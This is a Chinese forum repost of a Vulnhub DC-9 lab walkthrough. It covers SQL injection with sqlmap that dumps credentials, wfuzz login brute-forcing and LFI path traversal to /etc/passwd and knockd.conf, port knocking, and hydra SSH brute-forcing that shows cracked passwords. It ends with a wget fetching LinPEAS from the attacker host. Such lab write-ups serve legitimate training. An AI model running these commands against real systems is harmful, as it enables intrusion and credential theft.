搜索

[27148] 2021-01-28_【vulnhub】靶机-【DC系列】DC9（附靶机）

文档创建者：s7ckTeam
浏览次数：1
最后更新：2025-01-19
2021-01-28_【vulnhub】靶机-【DC系列】DC9（附靶机） 【 v u l n h u b 】 靶 机 - 【 D C 系 列 】 D C 9 （ 附 靶 机 ） 原 创   徐 哥   M s 0 8 0 6 7 安 全 实 验 室   2 0 2 1 - 0 1 - 2 8 收 录 于 话 题   # 靶 场 系 列 文 章   , 2 3 个 喜 欢 就 关 注 我 吧 ， 订 阅 更 多 最 新 消 息 出 品 ｜ 出 品 ｜ M S 0 8 0 6 7 实 验 室 （ 实 验 室 （ w w w . m s 0 8 0 6 7 . c o m ） ） 本 文 作 者 ： 大 方 子 大 方 子 （ M s 0 8 0 6 7 实 验 室 核 心 成 员 ） 大 方 子 微 信 （ 欢 迎 骚 扰 交 流 ） ： 主 机 信 息 主 机 信 息 K a l i ： 1 9 2 . 1 6 8 . 5 6 . 1 1 3 D C 9 ： 1 9 2 . 1 6 8 . 5 6 . 1 1 2 实 验 过 程 实 验 过 程 先 进 行 主 机 探 测 ， 查 找 靶 机 的 I P 地 址 ： 用 n m a p 对 主 机 进 行 排 查 确 定 ， D C 9 的 I P 地 址 为 1 9 2 . 1 6 8 . 5 6 . 1 1 2 a r p ‐ s c a n   ‐ ‐ i n t e r f a c e   e t h 1   1 9 2 . 1 6 8 . 5 6 . 1 / 2 4
可 以 看 到 D C 开 放 了 8 0 端 口 以 及 2 2 端 口 （ 被 过 滤 ） 所 以 首 先 从 8 0 端 口 入 手 ， 每 个 网 页 都 点 开 看 看 。 看 到 这 个 搜 索 页 面 感 觉 可 以 尝 试 下 S Q L 注 入 这 里 我 们 用 B u r p 进 行 尝 试 ， 发 现 的 确 存 在 注 入 点 n m a p   ‐ s C   ‐ s V   ‐ o A   d c ‐ 9   1 9 2 . 1 6 8 . 5 6 . 1 1 2
把 请 求 信 息 导 出 为 d c 9 . s q l m a p ， 接 下 来 用 S Q L m a p 进 行 遍 历 然 后 接 下 来 用 s q l m a p 导 出 数 据 p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p   ‐ ‐ d b s   p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p   ‐ D   u s e r s   ‐ ‐ t a b l e s p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p   ‐ D   u s e r s   ‐ T   U s e r D e t a i l s   ‐ ‐ c o l u m n s p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p   ‐ D   u s e r s   ‐ T   U s e r D e t a i l s   ‐ C u s e r n a m e , p a s s w o r d   ‐ ‐ d u m p
p y t h o n 3   s q l m a p . p y   ‐ r   C : U s e r s D F Z D e s k t o p d c 9 . s q l m a p   ‐ D   S t a f f   ‐ T   U s e r s   ‐ C   U s e r n a m e , P a s s w o r d   ‐ ‐ d u m p
这 里 S Q L m a p 直 接 帮 我 得 到 a d m i n 的 密 码 明 文 （ t r a n s o r b i t a l 1 ） 附 在 线 破 解 网 站 ： h t t p s : / / h a s h e s . c o m / e n / d e c r y p t / h a s h 我 们 将 所 有 的 账 号 ， 密 码 进 行 整 理 , 分 别 整 理 到 u s e r n a m e , p a s s w o r d ( 这 里 需 要 注 意 的 是 ， 只 要 管 理 员   的 密 码 是 需 要 解 密 的 ， 其 他 用 户 的 密 码 是 明 文 ) 用 w f u z z 进 行 批 量 登 陆 查 看 页 面 反 应 ， 只 有 管 理 员 的 账 号 是 3 0 2   （ p s ： 意 料 之 中 ) 管 理 员 账 号 ： a d m i n 管 理 员 密 码 ： t r a n s o r b i t a l 1 ‐ c : 带 颜 色 输 出   ‐ d : p o s t 参 数   ‐ z : p a y l o a d   ‐ m : 模 式   z i p 迭 代   字 典 和 占 位 符 一 一 对 应 进 行 遍 历 w f u z z   ‐ c   ‐ z   f i l e , u s e r n a m e   ‐ z   f i l e , p a s s w o r d   ‐ m   z i p   ‐ d   ' u s e r n a m e = F U Z Z & p a s s w o r d = F U Z 2 Z '   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 / m a n a g e . p h p
然 后 我 们 用 管 理 账 号 进 行 登 陆 可 以 看 到 页 面 下 面 出 现 F i l e   d o e s   n o t   e x i s t 的 提 示 ， 感 觉 很 有 可 能 就 是 L F I （ 本 地 文 件 包 含 ） 但 是 此 时 我 们 并 不 知 道 参 数 是 多 少 ， 这 里 同 样 用 w f u z z 尝 试 进 行 遍 历 （ 注 意 这 里 用 把 登 陆 之 后 的   c o o k i e s 也 要 写 上 ， 否 则 网 页 会 提 示 你 要 登 陆 ） 查 看 c o o k i e s 的 话 可 以 浏 览 器 直 接 查 看 ， 也 可 以 让 w f u z z 把 请 求 发 给 b u r p 进 行 查 看 字 典 地 址 ： h t t p s : / / g i t h u b . c o m / d a n i e l m i e s s l e r / S e c L i s t s # ‐ p : 添 加 代 理 w f u z z   ‐ p   1 2 7 . 0 . 0 . 1 : 8 0 8 0 : H T T P ‐ b : c o o k i e s   ‐ h w : 隐 藏 指 定 字 节 数 的 结 果   ‐ w   字 典 文 件 w f u z z   ‐ ‐ h w   1 0 0   ‐ b   ' P H P S E S S I D = o s h c 5 j h t 0 a 1 5 e f n u e 1 2 8 k d n n 9 n '   ‐ c   ‐ w   / u s r / s h a r e / S e c L i s t s / D i s c o v e r y / W e b ‐ C o n t e n t / b u r p ‐ p a r a m e t e r ‐ n a m e s . t x t   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 / m a n a g e . p h p ? F U Z Z = i n d e x . p h p w f u z z   ‐ ‐ h w   1 0 0   ‐ b   ' P H P S E S S I D = o s h c 5 j h t 0 a 1 5 e f n u e 1 2 8 k d n n 9 n '   ‐ c   ‐ w  
这 里 我 们 就 找 到 参 数 f i l e 然 后 我 们 通 过 * * / p r o c / s c h e d _ d e b u g * *   来 查 看 L i n u x 系 统 中 任 务 的 调 度 情 况 w f u z z   ‐ ‐ h w   1 0 0   ‐ b   ' P H P S E S S I D = o s h c 5 j h t 0 a 1 5 e f n u e 1 2 8 k d n n 9 n '   ‐ c   ‐ w   / u s r / s h a r e / S e c L i s t s / D i s c o v e r y / W e b ‐ C o n t e n t / b u r p ‐ p a r a m e t e r ‐ n a m e s . t x t   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 / m a n a g e . p h p ? F U Z Z = . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / p a s s w d h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 / m a n a g e . p h p ? F U Z Z = . . / . . / . . / . . / . . / . . / . . / . . / . . / p r o c / s c h e d _ d e b u g
整 理 查 询 发 现 靶 机 上 运 行 这 k n o c k d 关 于 k n o c k d 的 介 绍 ： h t t p s : / / b l o g . c s d n . n e t / n z j d s d s / a r t i c l e / d e t a i l s / 1 1 2 4 7 6 1 2 0 那 么 我 们 读 取 下 k n o c k d 的 配 置 文 件 h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 / m a n a g e . p h p ? F U Z Z = . . / . . / . . / . . / . . / . . / . . / . . / . . / e t c / k n o c k d . c o n f     o p t i o n s ]                   U s e S y s l o g [ o p e n S S H ]                   s e q u e n c e   =   7 4 6 9 , 8 4 7 5 , 9 8 4 2                   s e q _ t i m e o u t   =   2 5                   c o m m a n d   =   / s b i n / i p t a b l e s   ‐ I   I N P U T   ‐ s   % I P %   ‐ p   t c p   ‐ ‐ d p o r t   2 2   ‐ j   A C C E P T                   t c p f l a g s   =   s y n [ c l o s e S S H ]                   s e q u e n c e   =   9 8 4 2 , 8 4 7 5 , 7 4 6 9                   s e q _ t i m e o u t   =   2 5                   c o m m a n d   =   / s b i n / i p t a b l e s   ‐ D   I N P U T   ‐ s   % I P %   ‐ p   t c p   ‐ ‐ d p o r t   2 2   ‐ j   A C C E P T                   t c p f l a g s   =   s y n
这 里 提 供 2 种 敲 击 方 法 ： n c 、 n m a p 此 时 S S H 就 可 以 正 常 连 接 ， 接 下 来 我 们 用 h y d r a 来 进 行 爆 破 ， 用 户 名 和 密 码 就 是 我 们 先 前 S Q L 注 入 获 得 的 然 后 我 们 对 这 几 个 账 号 都 尝 试 进 行 登 陆 f o r   x   i n   7 4 6 9   8 4 7 5   9 8 4 2 ; d o   n m a p   ‐ P n   ‐ ‐ m a x ‐ r e t r i e s   0   ‐ p   $ x   1 9 2 . 1 6 8 . 5 6 . 1 1 2 ; d o n e   f o r   x   i n   7 4 6 9   8 4 7 5   9 8 4 2   2 2   ; d o   n c   1 9 2 . 1 6 8 . 5 6 . 1 1 2   $ x ; d o n e h y d r a   ‐ L   u s e r n a m e   ‐ P   p a s s w o r d   s s h : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 2 [ 2 2 ] [ s s h ]   h o s t :   1 9 2 . 1 6 8 . 5 6 . 1 1 2   l o g i n :   j a n i t o r   p a s s w o r d :   I l o v e p e e p e e   [ 2 2 ] [ s s h ]   h o s t :   1 9 2 . 1 6 8 . 5 6 . 1 1 2   l o g i n :   j o e y t   p a s s w o r d :   P a s s w 0 r d   [ 2 2 ] [ s s h ]   h o s t :   1 9 2 . 1 6 8 . 5 6 . 1 1 2   l o g i n :   c h a n d l e r b   p a s s w o r d :   U r A G 0 D ! s s h   j a n i t o r @ 1 9 2 . 1 6 8 . 5 6 . 1 1 2
只 有 j a n i t o r 的 家 目 录 存 在 一 个 名 为 . s e c r e t s - f o r - p u t i n 的 文 件 夹 ， 并 且 在 其 中 又 得 到 一 些 密 码 我 们 把 这 些 密 码 加 入 到 p a s s w o r d 文 件 中 同 时 我 们 在 j a n i t o r 使 用 L i n P E A S 来 探 测 下 可 利 用 的 点 下 载 地 址 ： h t t p s : / / g i t h u b . c o m / c a r l o s p o l o p / p r i v i l e g e - e s c a l a t i o n - a w e s o m e - s c r i p t s - s u i t e 现 在 K a l i 上 开 启 H T T P 服 务 然 后 在 靶 机 上 进 行 下 载 p y t h o n 3   ‐ m   h t t p . s e r v e r   8 0 w g e t   h t t p : / / 1 9 2 . 1 6 8 . 5 6 . 1 1 4 / l i n p e a s . s h
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理